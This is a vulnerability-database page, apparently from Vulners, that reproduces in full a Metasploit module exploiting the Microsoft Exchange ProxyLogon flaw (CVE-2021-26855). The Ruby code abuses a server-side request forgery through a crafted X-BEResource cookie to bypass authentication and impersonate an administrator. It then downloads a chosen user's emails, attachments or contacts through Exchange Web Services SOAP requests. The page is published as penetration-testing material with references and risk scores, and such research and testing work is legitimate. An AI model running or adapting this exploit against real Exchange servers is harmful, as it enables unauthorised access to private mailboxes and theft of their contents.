Lucene search
+L

Microsoft Exchange ProxyLogon Collector

🗓️ 02 Mar 2021 00:00:00Reported by Orange Tsai, GreyOrder, mekhalleh (RAMELLA Sébastien)Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 364 Views

Microsoft Exchange ProxyLogon Collector - Exploits vulnerability allowing authentication bypass and impersonation as admin to access all mailboxes

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

# begin auxiliary class
class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Microsoft Exchange ProxyLogon Collector',
        'Description' => %q{
          This module exploit a vulnerability on Microsoft Exchange Server that
          allows an attacker bypassing the authentication and impersonating as the
          admin (CVE-2021-26855).

          By taking advantage of this vulnerability, it is possible to dump all
          mailboxes (emails, attachments, contacts, ...).

          This vulnerability affects (Exchange 2013 Versions < 15.00.1497.012,
          Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009,
          Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010).

          All components are vulnerable by default.
        },
        'Author' => [
          'Orange Tsai', # Discovery (Officially acknowledged by MSRC)
          'GreyOrder', # PoC (https://github.com/GreyOrder)
          'mekhalleh (RAMELLA Sébastien)' # Module author independent researcher (work at Zeop Entreprise)
        ],
        'References' => [
          ['CVE', '2021-26855'],
          ['LOGO', 'https://proxylogon.com/images/logo.jpg'],
          ['URL', 'https://proxylogon.com/'],
          ['URL', 'https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server/'],
          ['URL', 'https://docs.microsoft.com/en-us/exchange/client-developer/web-service-reference/distinguishedfolderid'],
          ['URL', 'https://github.com/3gstudent/Homework-of-Python/blob/master/ewsManage.py']
        ],
        'DisclosureDate' => '2021-03-02',
        'License' => MSF_LICENSE,
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true
        },
        'Actions' => [
          [
            'Dump (Contacts)', {
              'Description' => 'Dump user contacts from exchange server',
              'id_attribute' => 'contacts'
            }
          ],
          [
            'Dump (Emails)', {
              'Description' => 'Dump user emails from exchange server'
            }
          ]
        ],
        'DefaultAction' => 'Dump (Emails)',
        'Notes' => {
          'AKA' => ['ProxyLogon'],
          'Stability' => [CRASH_SAFE],
          'Reliability' => [],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options([
      OptBool.new('ATTACHMENTS', [true, 'Dump documents attached to an email', true]),
      OptString.new('EMAIL', [true, 'The email account what you want dump']),
      OptString.new('FOLDER', [true, 'The email folder what you want dump', 'inbox']),
      OptEnum.new('METHOD', [true, 'HTTP Method to use for the check (only).', 'POST', ['GET', 'POST']]),
      OptString.new('TARGET', [false, 'Force the name of the internal Exchange server targeted'])
    ])

    register_advanced_options([
      OptInt.new('MaxEntries', [false, 'Override the maximum number of object to dump', 2147483647])
    ])
  end

  XMLNS = { 't' => 'http://schemas.microsoft.com/exchange/services/2006/types' }.freeze

  def dump_contacts(server_name)
    ssrf = "#{server_name}/EWS/Exchange.asmx?a=~#{random_ssrf_id}"

    response = send_xml('POST', ssrf, soap_countitems(action['id_attribute']))
    if response.body =~ /Success/
      print_good("Successfully connected to: #{action['id_attribute']}")
      xml = Nokogiri::XML.parse(response.body)

      folder_id = xml.at_xpath('//t:ContactsFolder/t:FolderId', XMLNS)&.values&.at(0)
      print_status("Selected folder: #{action['id_attribute']} (#{folder_id})")

      total_count = xml.at_xpath('//t:ContactsFolder/t:TotalCount', XMLNS)&.content
      print_status("Number of contact found: #{total_count}")

      if total_count.to_i > datastore['MaxEntries']
        print_warning("Number of contact recalculated due to max entries: #{datastore['MaxEntries']}")
        total_count = datastore['MaxEntries'].to_s
      end

      response = send_xml('POST', ssrf, soap_listitems(action['id_attribute'], total_count))
      xml = Nokogiri::XML.parse(response.body)

      print_status(message("Processing dump of #{total_count} items"))
      data = xml.xpath('//t:Items/t:Contact', XMLNS)
      if data.empty?
        print_status('The user has no contacts')
      else
        write_loot("#{datastore['EMAIL']}_#{action['id_attribute']}", data.to_s)
      end
    end
  end

  def dump_emails(server_name)
    ssrf = "#{server_name}/EWS/Exchange.asmx?a=~#{random_ssrf_id}"

    response = send_xml('POST', ssrf, soap_countitems(datastore['FOLDER']))
    if response.body =~ /Success/
      print_good("Successfully connected to: #{datastore['FOLDER']}")
      xml = Nokogiri::XML.parse(response.body)

      folder_id = xml.at_xpath('//t:Folder/t:FolderId', XMLNS)&.values&.at(0)
      print_status("Selected folder: #{datastore['FOLDER']} (#{folder_id})")

      total_count = xml.at_xpath('//t:Folder/t:TotalCount', XMLNS)&.content
      print_status("Number of email found: #{total_count}")

      if total_count.to_i > datastore['MaxEntries']
        print_warning("Number of email recalculated due to max entries: #{datastore['MaxEntries']}")
        total_count = datastore['MaxEntries'].to_s
      end

      print_status(message("Processing dump of #{total_count} items"))
      download_items(total_count, ssrf)
    end
  end

  def download_attachments(item_id, ssrf)
    response = send_xml('POST', ssrf, soap_listattachments(item_id))
    xml = Nokogiri::XML.parse(response.body)

    xml.xpath('//t:Message/t:Attachments/t:FileAttachment', XMLNS).each do |item|
      item_id = item.at_xpath('./t:AttachmentId', XMLNS)&.values&.at(0)

      response = send_xml('POST', ssrf, soap_downattachment(item_id))
      data = Nokogiri::XML.parse(response.body)

      filename = data.at_xpath('//t:FileAttachment/t:Name', XMLNS)&.content
      ctype = data.at_xpath('//t:FileAttachment/t:ContentType', XMLNS)&.content
      content = data.at_xpath('//t:FileAttachment/t:Content', XMLNS)&.content

      print_status("   -> attachment: #{item_id} (#{filename})")
      write_loot("#{datastore['EMAIL']}_#{datastore['FOLDER']}", Rex::Text.decode_base64(content), filename, ctype)
    end
  end

  def download_items(total_count, ssrf)
    response = send_xml('POST', ssrf, soap_listitems(datastore['FOLDER'], total_count))
    xml = Nokogiri::XML.parse(response.body)

    xml.xpath('//t:Items/t:Message', XMLNS).each do |item|
      item_info = item.at_xpath('./t:ItemId', XMLNS)&.values
      next if item_info.nil?

      print_status("Download item: #{item_info[1]}")

      response = send_xml('POST', ssrf, soap_downitem(item_info[0], item_info[1]))
      data = Nokogiri::XML.parse(response.body)

      email = data.at_xpath('//t:Message/t:MimeContent', XMLNS)&.content
      write_loot("#{datastore['EMAIL']}_#{datastore['FOLDER']}", Rex::Text.decode_base64(email))

      attachments = item.at_xpath('./t:HasAttachments', XMLNS)&.content
      if datastore['ATTACHMENTS'] && attachments == 'true'
        download_attachments(item_info[0], ssrf)
      end
      print_status
    end
  end

  def message(msg)
    "#{@proto}://#{datastore['RHOST']}:#{datastore['RPORT']} - #{msg}"
  end

  def random_ssrf_id
    # https://en.wikipedia.org/wiki/2,147,483,647 (lol)
    # max. 2147483647
    rand(1941962752..2147483647)
  end

  def request_autodiscover(server_name)
    xmlns = { 'xmlns' => 'http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a' }

    response = send_xml('POST', "#{server_name}/autodiscover/autodiscover.xml?a=~#{random_ssrf_id}", soap_autodiscover)

    case response.body
    when %r{<ErrorCode>500</ErrorCode>}
      fail_with(Failure::NotFound, 'No Autodiscover information was found')
    when %r{<Action>redirectAddr</Action>}
      fail_with(Failure::NotFound, 'No email address was found')
    end

    xml = Nokogiri::XML.parse(response.body)

    legacy_dn = xml.at_xpath('//xmlns:User/xmlns:LegacyDN', xmlns)&.content
    fail_with(Failure::NotFound, 'No \'LegacyDN\' was found') if legacy_dn.blank?

    server = ''
    owa_urls = []
    xml.xpath('//xmlns:Account/xmlns:Protocol', xmlns).each do |item|
      type = item.at_xpath('./xmlns:Type', xmlns)&.content
      if type == 'EXCH'
        server = item.at_xpath('./xmlns:Server', xmlns)&.content
      end

      next unless type == 'WEB'

      item.xpath('./xmlns:Internal/xmlns:OWAUrl', xmlns).each do |owa_url|
        owa_urls << owa_url.content
      end
    end
    fail_with(Failure::NotFound, 'No \'Server ID\' was found') if server.nil? || server.empty?
    fail_with(Failure::NotFound, 'No \'OWAUrl\' was found') if owa_urls.empty?

    return([server, legacy_dn, owa_urls])
  end

  def send_http(method, ssrf, data: '', ctype: 'application/x-www-form-urlencoded')
    request = {
      'method' => method,
      'uri' => @random_uri,
      'cookie' => "X-BEResource=#{ssrf};",
      'ctype' => ctype
    }
    request = request.merge({ 'data' => data }) unless data.empty?

    received = send_request_cgi(request)
    fail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received

    received
  end

  def send_xml(method, ssrf, data, ctype: 'text/xml; charset=utf-8')
    send_http(method, ssrf, data: data, ctype: ctype)
  end

  def soap_autodiscover
    <<~SOAP
      <?xml version="1.0" encoding="utf-8"?>
      <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
        <Request>
          <EMailAddress>#{datastore['EMAIL']}</EMailAddress>
          <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
        </Request>
      </Autodiscover>
    SOAP
  end

  def soap_countitems(folder_id)
    <<~SOAP
      <?xml version="1.0" encoding="utf-8"?>
      <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
      xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
      xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
      xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
        <soap:Body>
          <m:GetFolder>
            <m:FolderShape>
              <t:BaseShape>Default</t:BaseShape>
            </m:FolderShape>
            <m:FolderIds>
              <t:DistinguishedFolderId Id="#{folder_id}">
                <t:Mailbox>
                  <t:EmailAddress>#{datastore['EMAIL']}</t:EmailAddress>
                </t:Mailbox>
              </t:DistinguishedFolderId>
            </m:FolderIds>
          </m:GetFolder>
        </soap:Body>
      </soap:Envelope>
    SOAP
  end

  def soap_listattachments(item_id)
    <<~SOAP
      <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
      xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
      xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
      xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
        <soap:Body>
          <m:GetItem>
            <m:ItemShape>
              <t:BaseShape>IdOnly</t:BaseShape>
              <t:AdditionalProperties>
                <t:FieldURI FieldURI="item:Attachments" />
              </t:AdditionalProperties>
            </m:ItemShape>
            <m:ItemIds>
              <t:ItemId Id="#{item_id}" />
            </m:ItemIds>
          </m:GetItem>
        </soap:Body>
      </soap:Envelope>
    SOAP
  end

  def soap_listitems(folder_id, max_entries)
    <<~SOAP
      <?xml version='1.0' encoding='utf-8'?>
      <soap:Envelope
      xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/'
      xmlns:t='http://schemas.microsoft.com/exchange/services/2006/types'
      xmlns:m='http://schemas.microsoft.com/exchange/services/2006/messages'
      xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'>
        <soap:Body>
          <m:FindItem Traversal='Shallow'>
            <m:ItemShape>
              <t:BaseShape>AllProperties</t:BaseShape>
            </m:ItemShape>
            <m:IndexedPageItemView MaxEntriesReturned="#{max_entries}" Offset="0" BasePoint="Beginning" />
            <m:ParentFolderIds>
              <t:DistinguishedFolderId Id='#{folder_id}'>
                <t:Mailbox>
                  <t:EmailAddress>#{datastore['EMAIL']}</t:EmailAddress>
                </t:Mailbox>
              </t:DistinguishedFolderId>
            </m:ParentFolderIds>
          </m:FindItem>
        </soap:Body>
      </soap:Envelope>
    SOAP
  end

  def soap_downattachment(item_id)
    <<~SOAP
      <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
      xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
      xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
      xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
        <soap:Body>
          <m:GetAttachment>
            <m:AttachmentIds>
              <t:AttachmentId Id="#{item_id}" />
            </m:AttachmentIds>
          </m:GetAttachment>
        </soap:Body>
      </soap:Envelope>
    SOAP
  end

  def soap_downitem(id, change_key)
    <<~SOAP
      <?xml version="1.0" encoding="utf-8"?>
      <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
      xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
      xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
      xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
        <soap:Body>
          <m:GetItem>
            <m:ItemShape>
              <t:BaseShape>IdOnly</t:BaseShape>
              <t:IncludeMimeContent>true</t:IncludeMimeContent>
            </m:ItemShape>
            <m:ItemIds>
              <t:ItemId Id="#{id}" ChangeKey="#{change_key}" />
            </m:ItemIds>
          </m:GetItem>
        </soap:Body>
      </soap:Envelope>
    SOAP
  end

  def write_loot(type, data, name = '', ctype = 'text/plain')
    loot_path = store_loot(type, ctype, datastore['RHOSTS'], data, name, '')
    print_good("File saved to #{loot_path}")
  end

  def run
    @proto = (ssl ? 'https' : 'http')
    @random_uri = normalize_uri('ecp', "#{Rex::Text.rand_text_alpha(1..3)}.js")

    print_status(message('Attempt to exploit for CVE-2021-26855'))

    # request for internal server name.
    response = send_http(datastore['METHOD'], "localhost~#{random_ssrf_id}")
    if response.code != 500 || !response.headers.to_s.include?('X-FEServer')
      fail_with(Failure::NotFound, 'No \'X-FEServer\' was found')
    end
    server_name = response.headers['X-FEServer']
    print_status("Internal server name (#{server_name})")

    # get information by autodiscover request.
    print_status(message('Sending autodiscover request'))
    server_id, legacy_dn, owa_urls = request_autodiscover(server_name)

    print_status("Server: #{server_id}")
    print_status("LegacyDN: #{legacy_dn}")
    print_status("Internal target(s): #{owa_urls.join(', ')}")

    # selecting target
    print_status(message('Selecting the first internal server to respond'))
    if datastore['TARGET'].nil? || datastore['TARGET'].empty?
      target = ''
      owa_urls.each do |url|
        host = url.split('://')[1].split('.')[0].downcase
        next unless host != server_name.downcase

        response = send_http('GET', "#{host}/EWS/Exchange.asmx?a=~#{random_ssrf_id}")
        next unless response.code == 200

        target = host
        print_good("Targeting internal: #{url}")

        break
      end
      fail_with(Failure::NotFound, 'No internal target was found') if target.empty?
    else
      target = datastore['TARGET']
      print_good("Targeting internal forced to: #{target}")
    end

    # run action
    case action.name
    when /Dump \(Contacts\)/
      print_status(message("Attempt to dump contacts for <#{datastore['EMAIL']}>"))
      dump_contacts(target)
    when /Dump \(Emails\)/
      print_status(message("Attempt to dump emails for <#{datastore['EMAIL']}>"))
      dump_emails(target)
    end
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Mar 2021 00:00Current
8.5High risk
Vulners AI Score8.5
CVSS 27.5
CVSS 3.19.1 - 9.8
EPSS0.99996
SSVC
364